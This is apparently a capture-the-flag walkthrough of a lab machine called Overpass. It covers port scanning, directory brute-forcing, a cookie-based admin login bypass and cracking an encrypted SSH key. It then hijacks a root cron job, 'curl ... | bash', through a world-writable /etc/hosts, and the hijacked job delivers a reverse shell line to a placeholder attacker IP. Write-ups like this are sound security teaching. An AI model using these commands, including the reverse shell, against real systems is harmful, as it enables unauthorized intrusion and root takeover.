Initial Information
What happens when some broke CompSci students make a password manager?
Enumeration
As always we start with an nmap scan which reveals information about open ports and running services on the target system.
$ nmap -sC -sV -p- -oN scans/tcpfull 10.10.248.28
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
| 256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_ 256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
http - 80/tcp
A basic webpage talking about the password manager software they created.
Btw there is an interesting comment in the source:
<!--Yeah right, just because the Romans used it doesn't make it military grade, change this?-->
- This could mean Caesar cipher which is ROT13
There is a downloads and an about us page.
On the downloads page we can see the go source which contains a comment about the encoding algorithm.
//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example
This means we have the correct algorithm which is ROT47 in this case.
On the /aboutus
page we can see some users and their roles in the team.
Ninja - Lead Developer
Pars - Shibe Enthusiast and Emotional Support Animal Manager
Szymex - Head Of Security
Bee - Chief Drinking Water Coordinator
MuirlandOracle - Cryptography Consultant
Now, we have some users, some files but no possible entry point on the target box. We can try to do some directory {and,or} file bruteforcing on the web server.
$ gobuster dir -u http://10.10.248.28/ -w /opt/SecLists/Discovery/Web-Content/common.txt
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
/downloads (Status: 301)
/img (Status: 301)
/index.html (Status: 301)
As you can see there is a new endpoint /admin
.
There is a login form and some js files included.
<script src="/main.js"></script> - A useless hello world
<script src="/login.js"></script> - Contains some interesting stuff!
<script src="/cookie.js"></script> - Some default library stuff
We need the one in the middle! /login.js
which contains some checking for authentication.
Especially we need the login()
function.
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
Did you notice the if check? It check if statusOrCookie
equals to "Incorrect credentials"
if so then it will fail and print the error message.
If not, a cookie names SessionToken
gets set and the website redirects to /admin
.
We can try to request /admin
with a SessionToken
set.
$ curl http://10.10.248.28/admin -b 'SessionToken=asd' -L
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Overpass</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
<link rel="icon"
type="image/png"
href="/img/overpass.png" />
<script src="/main.js"></script>
</head>
<body>
<nav>
<img class="logo" src="/img/overpass.svg" alt="Overpass logo">
<h2 class="navTitle"><a href="/">Overpass</a></h2>
<a href="/aboutus">About Us</a>
<a href="/downloads">Downloads</a>
</nav>
<h1 class="pageHeading content">Welcome to the Overpass Administrator area</h1>
<h3 class="subtitle content">A secure password manager with support for Windows, Linux, MacOS and more</h3>
<div class="bodyFlexContainer content">
<div>
<p>Since you keep forgetting your password, James, I've set up SSH keys for you.</p>
<p>If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.<br>
Also, we really need to talk about this "Military Grade" encryption. - Paradox</p>
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9XXXXXXXXXXXXXXXXXXXXXlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qnXXXXXXXXXXXXXXXXXXXXXMfipTSR43FXXXXXXXXXXXXXXXXXXXXXXXXdv
BMXmr3xXXXXXXXXXXXXXXXXXXXXX0qRJ718G/uXXXXXXXXXXXXXXXXXXXXXXXXSZ
AL5bLQFXXXXXXXXXXXXXXXXXXXXXmsUIRwYK7wXXXXXXXXXXXXXXXXXXXXXXXXxR
3KwmS4DXXXXXXXXXXXXXXXXXXXXX6le1+wzZ/UXXXXXXXXXXXXXXXXXXXXXXXXUf
ABbRLLwXXXXXXXXXXXXXXXXXXXXXbFmXPoVwvWXXXXXXXXXXXXXXXXXXXXXXXXZk
VfW2gpmXXXXXXXXXXXXXXXXXXXXXiSlg1kRJKrXXXXXXXXXXXXXXXXXXXXXXXXeR
OkUOTMqXXXXXXXXXXXXXXXXXXXXXvzPM3rimRwXXXXXXXXXXXXXXXXXXXXXXXX8P
9BQukWbXXXXXXXXXXXXXXXXXXXXXA+pjTLqwU+XXXXXXXXXXXXXXXXXXXXXXXXze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FXXXXXXXXXXXXXXXXXXXXXXXXcZ
4TXXXXXXXXXXXXXXXXXXXXXXw/7zG2LokKMnljXXXXXXXXXXXXXXXXXXXXXXXXM8
GFXXXXXXXXXXXXXXXXXXXXXXkbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exXXXXXXXXXXXXXXXXXXXXXX9WPLhLRHaXXXXXXXXXXXXXXXXXXXXdbKsyasdCGy
AIXXXXXXXXXXXXXXXXXXXXXXzRYwT1LEFXXXXXXXXXXXXXXXXXXXX4MQpX6WL+wk
6pXXXXXXXXXXXXXXXXXXXXXXPFEspLHfpXXXXXXXXXXXXXXXXXXXXR6gpbGbAW58
dPXXXXXXXXXXXXXXXXXXXXXXS/WF+U90GXXXXXXXXXXXXXXXXXXXXJhzh8gdtT0i
n0XXXXXXXXXXXXXXXXXXXXXXiXnXjHEE1XXXXXXXXXXXXXXXXXXXXgXi9Bsy68qT
8HXXXXXXXXXXXXXXXXXXXXXX5AWtJsFmWXXXXXXXXXXXXXXXXXXXX7yxPXyfWm4K
4FXXXXXXXXXXXXXXXXXXXXXXNwcf/LW5dXXXXXXXXXXXXXXXXXXXXutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbXXXXXXXXXXXXXXXXXXXXy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----</pre>
</div>
</div>
</body>
</html>
- We got an encrypted private rsa key! (Note that some parts of it are redacted)
- We also have a text saying this key was set up for
James
and it's crackable!
Foothold - cracking the ssh key
We can use john's ssh2john
script to convert this encrypted key into a
hash that john
could crack.
$ python2 /usr/share/john/ssh2john.py adminrsa.priv > adminrsa.priv_hash.txt
$ john adminrsa.priv_hash.txt -w=/usr/share/wordlists/rockyou.txt
jXXXXX3 (adminrsa.priv)
- We got it instantly! (Note that this password is redacted)
Now, it's time to use it! First fix the ssh key's permission and then use it.
When it prompts for a password just provide jXXXXX3
and hit enter.
$ chmod 600 adminrsa.priv
$ ssh james@10.10.248.28 -i adminrsa.priv
jXXXXX3
We got into the box as james
!
james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)
Privilege Escalation from james
Now, it's time to escalate our privileges from user james.
Basic manual enumeration
There is a /home/james/todo.txt
file on the system which contains the following:
$ cat /home/james/todo.txt
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
They're not updating on the website
There is also a /home/james/.overpass
file which contains a rot47 encoded string.
We can decrypt this using CyberChef
or just use the /usr/bin/overpass
binary to list all the passwords.
$ /usr/bin/overpass
Welcome to Overpass
Options:
1 Retrieve Password For Service
2 Set or Update Password For Service
3 Delete Password For Service
4 Retrieve All Passwords
5 Exit
Choose an option: 4
System sXXXXXXXXXXXXXXXXXXe
- (Note that this password is redacted)
We got the password for James
which we can try out with sudo
.
$ sudo -l
sXXXXXXXXXXXXXXXXXXe
Sorry, user james may not run sudo on overpass-prod.
- But this isn't that easy :D
Using a privesc-checker script
We can try to run some privilege escalation checker scipts like linpeas.sh.
After running the script on the target machine we can see an interesting line.
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
- This is a CRON-job running as root and it executes
curl overpass.thm/downloads/src/buildscript.sh | bash
as root - Root cronjobs are always interesting!
Exploitation
Checking for exploitability
Let's take a look what we can tamper with!
- We can't use path injection because it's a cron job
- I couldn't find the
buildscript.sh
so I couldn't write a reverse shell into it - But there is also a domain name which can be set in
/etc/hosts
We can find a line in /etc/hosts
related to overpass.thm
:
127.0.0.1 overpass.thm
We can take a look at this file's permissions with a simple ls -l
.
$ ls -l /etc/hosts
-rw-rw-rw- 1 root root 250 Jan 31 17:53 /etc/hosts
- It's WRITABLE BY ANYONE!
The plan
If we change 127.0.0.1 overpass.thm
to <ATTACKER_IP> overpass.thm
we can make the directory structure we saw in the cronjob locally
and a custom buildscript.sh
file which contains malicious code written by us!
Then we just have to host this directory and wait until our custom file gets
executed by the target's root user by the cronjob!
The execution
Setting up our attack environment locally:
$ mkdir tmp/downloads/src/ -p
$ echo "bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/1337 0>&1'" > tmp/downloads/src/buildscript.sh
- This will create our directory structure and our malicious file
Now, we need to host the tmp directory using python3. And start our listener.
$ cd tmp
$ sudo python3 -m http.server 80
$ nc -lvnp 1337
Setting up the environment on the victim side:
vi /etc/hosts
<ATTACKER_IP> overpass.thm
- Save it and just wait until a rootshell pops!
listening on [any] 1337 ...
connect to [10.8.2.82] from (UNKNOWN) [10.10.248.28] 55206
bash: cannot set terminal process group (20790): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~# hostname;id
hostname;id
overpass-prod
uid=0(root) gid=0(root) groups=0(root)
- We successfully got to the root user on Overpass!
Takeaways
- Always look into the source
- Always do directory bruteforcing
- Always look into the JS files
- Always run privesc-checker scripts